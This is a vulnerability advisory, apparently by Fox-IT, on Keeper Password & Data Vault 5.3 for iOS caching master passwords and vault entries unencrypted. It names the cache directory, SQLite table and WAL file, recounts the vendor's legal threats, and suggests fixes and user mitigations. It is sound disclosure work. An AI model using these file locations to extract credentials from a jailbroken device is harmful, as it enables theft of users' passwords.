More specifically, the Keeper® Password & Data Vault application folder was found to contain SQLite3 database files in the following subdirectory /Library/Caches/D4D2433BGC/. This directory is used to store the application’s cache. The confidential information can be retrieved from the table cfurl_cache_response in the SQLite3 database or directly from the file Cache.db-wal. These unencrypted cache files are persistent across reboots.


By obtaining access to the file system of an iOS device, an attacker can retrieve confidential information from the Keeper® Password & Data Vault application directory. The information that can be retrieved includes the master password, e-mail address, the secret question and answer as well as the content of entries in the Keeper® Password & Data Vault application, such as URLs, usernames and passwords.

An attacker can obtain access to the file system of an iOS device by performing a jailbreak. Consequently, the confidentiality of information that is stored by version 5.3 (and possibly earlier versions) of the Keeper® Password & Data Vault application is at risk on iOS devices that can be jailbroken. Any iPhone, iPod touch and iPad running an iOS version up to 6.1.2 can generally be jailbroken.

Vendor response

Fox-IT has reported the vulnerability in Keeper® Password & Data Vault to Keeper Security Inc. within 24 hours of its initial discovery. Unfortunately, Keeper Security Inc. has refused to constructively engage in a responsible disclosure procedure and has requested all further communication to be addressed to the company’s legal counsel.

Keeper Security Inc’s legal counsel has since notified Fox-IT that “that the issue raised […] has been addressed and resolved in the new version of Keeper (Version 6.0) which is available on the App Store”. However, the description of the update on the App Store does not specify this version resolves any security issues. Fox-IT was also notified that the public disclosure of the issues that are described in this advisory may be met with swift legal action.

Our mission at Fox-IT is to make technical and innovative contributions for a more secure society. Given the lack of public information regarding the risks that are associated with the previous version of the application, we regard it as our responsibility to publish a detailed advisory. This will allow the affected users to take protective measures to prevent their confidential data from being compromised (further).


All confidential information that is stored on the device should be encrypted using the master password. If confidential data is stored in a remote location for backup purposes, the copy of the confidential data should also be encrypted using the master password, which should exclusively be known to the user and should not be posted or stored as such. By encrypting the confidential information that is posted to Keeper Security Inc. with the master password, the unencrypted local storage of confidential information would also be prevented.

The caching of traffic that is generated by Keeper® Password & Data Vault appears to be the result of using NSURLRequest without correctly specifying that the content of requests should not be cached. The related key ‘WebKitOfflineWebApplicationCacheEnabled’ in /Library/Preferences/D4D2433BGC.plist was found to be set to ‘true’. The unencrypted local caching of data may be prevented altogether by overriding the NSURLConnection delegate connection:willCacheResponse: and return nil. The suggested cause and solution could not be verified by Fox-IT, since Keeper Security Inc. has refused to cooperate with our investigation.


The local cache directly affects the confidentiality of information that is stored using version 5.3 of the Keeper® Password & Data Vault iOS application. Users of the Keeper® Password & Data Vault for iOS are therefore recommended to update the application to a version that solves the described issues or to use an alternative password manager. The risk that is posed by the unencrypted local storage of confidential information can in part be mitigated by updating the iOS operating system to a version that cannot be jailbroken and setting a device passcode, as this may temporarily prevent an attacker from obtaining access to the file system of a device.

The presence of unencrypted confidential information in the local cache of the Keeper® Password & Data Vault application indicates that an unencrypted copy of the confidential data was posted to a server that is operated by Keeper Security Inc. While the content of the confidential information is secured during transport using SSL/TLS, Keeper Security Inc receives the content of its users’ confidential information in an unencrypted form. It remains unknown which server side security measures Keeper Security Inc. has implemented to protect this information after it has been received. Consequently, the confidentiality of this information is not guaranteed from the perspective of a user. Users are therefore recommended to change any confidential information that has been entered into the affected version of the application, insofar as that is possible.

Please note that Fox-IT has not tested whether older versions of the Keeper® Password & Data Vault application and/or whether earlier iOS versions are affected by the described vulnerability. Furthermore, Fox-IT has not tested if versions of the Keeper® applications on other platforms have also posted their users’ unencrypted confidential information to Keeper Security Inc using SSL/TLS. Lastly, Fox-IT has not verified whether version 6.0 of Keeper® Password & Data Vault for iOS solves the issues that are described in this advisory.


Details regarding the correct usage of NSURLConnection, NSURLRequest and NSURLCache can be found here:

Using NSURLConnection: https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/URLLoadingSystem/Tasks/UsingNSURLConnection.html

Caching & NSURLConnection: http://blackpixel.com/blog/2012/05/caching-and-nsurlconnection.html

NSURLCache: http://nshipster.com/nsurlcache/

NSURLCache and disk-caching: http://petersteinberger.com/blog/2012/nsurlcache-uses-a-disk-cache-as-of-ios5/

RFC 2616: http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13